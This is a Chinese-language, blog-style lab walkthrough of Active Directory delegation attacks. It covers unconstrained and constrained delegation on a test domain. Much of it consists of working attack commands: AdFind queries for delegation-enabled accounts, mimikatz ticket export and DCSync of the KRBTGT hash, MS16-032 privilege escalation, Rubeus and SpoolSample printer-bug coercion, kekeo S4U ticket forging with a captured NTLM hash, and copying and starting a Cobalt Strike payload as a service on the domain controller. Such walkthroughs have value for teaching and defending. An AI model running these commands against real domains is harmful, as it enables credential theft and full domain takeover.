在域中,除了我们常见的横向移动以外,还有很多攻击,像什么kerberoasting,委派攻击,NTLMrelay啊...... 还有很多(暂时只知道这些)
以前在一篇公众号看到的一个笑话也荟萃了网安的一些攻击手法!! 其中提到的spooler非约束性委派就是今天要讲的委派攻击之一!!!! 总的来说,委派攻击可以分成以下的三种
- 非约束性委派
- 约束性委派
- 基于资源的约束性委派
基本上就这三种,随便提一下,委派攻击比其他攻击会更难理解!!!
1.委派的介绍
首先,什么是委派呢?
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动
接着,什么样的对象才能被委派呢?
- 主机账号:活动目中中的Computers组内的计算机,也被称为机器账号
- 服务账号:域内用户的一种类型,是服务器运行服务时所用的账号。
那么我们去域控上面看一看,顺便说一下本次实验环境
后续实验环境皆在此基础上进行
先来看机器账号,怎么查看域内的机器有几台呢?
net groups "Domain Computers" /domain
(完了喜欢eason被你发现捏)
然后我们去域控上看,DEV和COMPUTERS这两个组
这两个组的权限不同,DEV组的权限比COMPUTERS的权限大!!!
这两个机器组都是可以设置委派的!!!! 然后就是服务账号
我们随便抓一个用户,他是肯定没有委派这个功能的!!! 我们只需要给他注册一个SPN即可
setspn -A priv/server.god.org server
然后我们再去查看对应的属性
setspn -U -A priv/test server
然后就立刻能在对应的属性里面看见了
然后,就可以开始今天的实验啦!!!!
2.非约束性委派攻击
先来讲一下原理吧!!!
其实约束性委派还是好理解,基本上就是Kerberos协议!!那么非约束性委派是怎么产生的呢?
当用户A去访问web服务器的时候,通过Kerberos认证,用户就能访问web系统上的对应服务,但是web系统可能做了站库分离或者一些操作,导致了web系统需要再去访问文件服务器!!!
于是非约束性委派(委派)就诞生了!!!! ~~~~
- 前面Kerberos认证和常规的认证没区别,但是在KDC返回的ST中,包含了A用户的TGT
- 于是Web服务在收到ST之后,就拿着这张TGT再去获取一张通往文件服务器的ST
- 通过这种ST,web系统就拿到了文件服务器的资源,并且返回给A
这样听起来好像没什么问题,但是事实真的如此吗????
:::那可当然不是!!!我来讲一下这个问题出现的点
- Web服务器会将这个获得到的TGT存储在Lsass进程中,以便下次我们进行身份验证
- 配置了非约束性委派导致该Web服务器可以请求域内任意机器的任意服务(用户服务权限高)
所以,非约束性委派的一句话总结就是
用户在拿下非约束性委派的机器,并且通过相应手段拿到高权限的TGT,以此进行PTT
那么下面,我们就来演示一下对应的流程
先去配置一个非约束性委派,然后假设我们获取到了一台域内机器
然后我们去查询域内哪些机器配置了非约束性委派
先把adfind传上去,然后执行以下命令
查询域内配置了非约束性委派的服务账户
shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
很庆幸,我们远控的server账户就被配置了非约束性委派
那么我们也不妨去查一下配置了非约束性委派的机器账号
shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn
可以看见,就算我们不做委派,域控默认的就被配置了非约束性委派!!!!
那么首先,我们先去看一下权限
可以看见当前是无法访问到域控上的东西的!!!!
1.域管主动认证
当然了,这种基本上是不太可能会发生的,但是原理上是行的通的,我们也来演示一下
net use \\server.god.org\c$ "admin@123" /user:GOD\administrator
先是域馆主动来进行认证
然后我们就可以去CS上将对应的票据导出
mimikatz sekurlsa::tickets /export
结果发现
不够权限,那么我们就要提权咯,下面就来介绍一下这个CS自带的MS16-032,这个是真的nb
就连Winserver2016都能够提上来,直接是system
直接上线 ,那么此时我们再去导出票据
这这时候可以怎么做?? PTT啊!!!
不是,柠檬的,怎么不可以啊!!!!! 那我们自己传一个mimikatz上去试试?
然后我们再去注一次票
:: 这不就可以了吗, 牛魔的cs的mimikatz总感觉有点问题
然后后面就是我们熟悉的横向移动了!!!!
shell copy counterstrike.exe \\owa.god.org\c$
shell sc \\owa.god.org create cs binpath= "cmd.exe /c c:\counterstrike.exe"
shell sc \\owa.god.org start cs
执行即上线
2.Spooler漏洞联动非约束性委派
在现实生活中,是肯定不会有域馆主动来连接我们的,所以我们就要依靠打印机漏洞
这也就是那个乐子的出处
Windows打印系统协议(MS-RPRN)是一种旧的,但是默认启动的方法,在该方法中,域用户可以通过该方法强制让任何运行了Spooler服务的计算机通过Kerberos或者NTLM协议对攻击者选择的目标进行身份验证。
这个服务是默认开启的!!!!!
那么!!! 开搞 先把rubeus,和spoolsample传上去
然后我们先开着监听
shell Rubeus.exe monitor /interval:1 /filteruser:OWA$ //后面这个是与域控的机器名字
然后强制回连
shell SpoolSample.exe OWA SERVER
但是呢,就很奇怪了.....
这玩意咋一点反应都没得啊(我防火墙关了啊!!!)
发现了这个,真的无语了,于是上网查了一下,大部分也是成功的但是也有和我一样失败的
但是不重要,我们直接继续后面的步骤
你会得到这样的一个"TGT",然后就是注票
rebeus.exe ptt /ticket "刚才的TGT"
然后获取哈希
lsadump::dcsync /all /csv
然后就能得到KRBTGT的NTLM哈希了!!!
剩下的就不用我教你了吧,直接黄金票据了!!!
3.约束性委派攻击
这个就比较难了,❤❤❤前方高能❤❤❤,发车!!!!
想听懂约束性委派,你就必须要学会一个协议 S4U2 (Service For User To)下的两个子协议
- S4U2S(Service For User To Self)
- S4U2P(Service For User To Proxy)
对于约束性委派,就要先看一下场景。
当用户不在域内的时候,为了让用户获取到文件服务上的资源,微软引进了S4U2协议
- 用户先通过NTLM或者其他认证,认证到WEB系统
- 然后Web系统以本机账户去申请一张TGT,然后以用户身份拿着这样TGT去申请ST1
- 然后将申请到的ST1返回给用户
- 用户再将ST1发给Web系统
- Web系统再将对应的ST1发送给KDC,请求ST2(S4U2P)
- 在获得了ST2之后,再去访问文件服务器
当然了,之所以叫做约束性委派,原因就是只能访问对应的服务捏!!!!
::那么问题出在哪里了呢????
- WEB服务器可不可以直接伪造域管的身份??? 我们在白银票据不是说过吗,如果我们能拿下服务账号的NTLM哈希,那么就能伪造白银票据!!
实施上也正是如此
这个就是通过拿下约束性委派机器的NTLM哈希,伪造Administrator的ST1,然后再去伪造ST2,访问被约束了的对应服务!!!
那么下面,我们来演示一波,先去配置约束性委派
这里我就让他约束为只能访问域控的CIFS服务吧
先去看看什么机器被配置了约束性委派
shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
结果发现没有
然后我们再去查一下服务账户
shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
能查到一个Server的账户,能访问得到域管上的服务,那么我们抓一波哈希
抓到,然后我们申请一张TGT ,这里用kekeo,先传上去
然后我们伪造TGT(这里是以SERVER来做TGT噢,理解这里,你就理解S4U2S了)
shell kekeo.exe "tgt::ask /user:god\server /NTLM:e25bbe456dd96a635f4434511788e502 /domain:god.org" "exit"
可以看见这张TGT
然后我们就以域管得身份去申请一张ST1(S4U2S)
shell kekeo.exe "tgs::s4u /tgt:TGT_god~server@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:administrator@god.org /service:cifs/owa.god.org" "exit"
可以看见他在申请了ST1的同时又给我们申请了一张ST2,于是就终于到了最后一步伪造啦!!!
mimikatz kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi
此时,我们就可以去查看域控上的任意东西啦!!!!
但是,能不能传马呢????嘻嘻嘻嘻
肯定不行啊,CIFS只是能访问对应的文件,如果能传马,又怎么教约束性委派呢???/
那么如果域控配置了HOST服务那就可以了 --->(为了节目效果,我们就去配一下)
然后我们就可以申请去域控的服务票据ST2啦,先去清个票
然后就是熟悉的操作
于是就能看见我们的两张票了!!!!!
然后就是熟悉的上马了!!!!但是牛魔了,拒绝访问???
那么如果是ldap服务呢???
然后我们再去做服务
结果发现,服务是能做成功,但是服务运行不起来
但是又没有方法呢??? 有!!! 就算只是cifs服务也可以
可以参考上面的连接,不过他用的是impacket的python脚本(如果目标服务器没有python呢??)
所以网上大部分的委派攻击的文章都是直接到了能dir就结束了,而且约束性委派的攻击利用较少,这里就不演示了!!
当然了,只有两种委派攻击吗,那当然不是,下一张,我们就讲我们的大boss!!!
基于资源的约束性委派--- >>> RBCD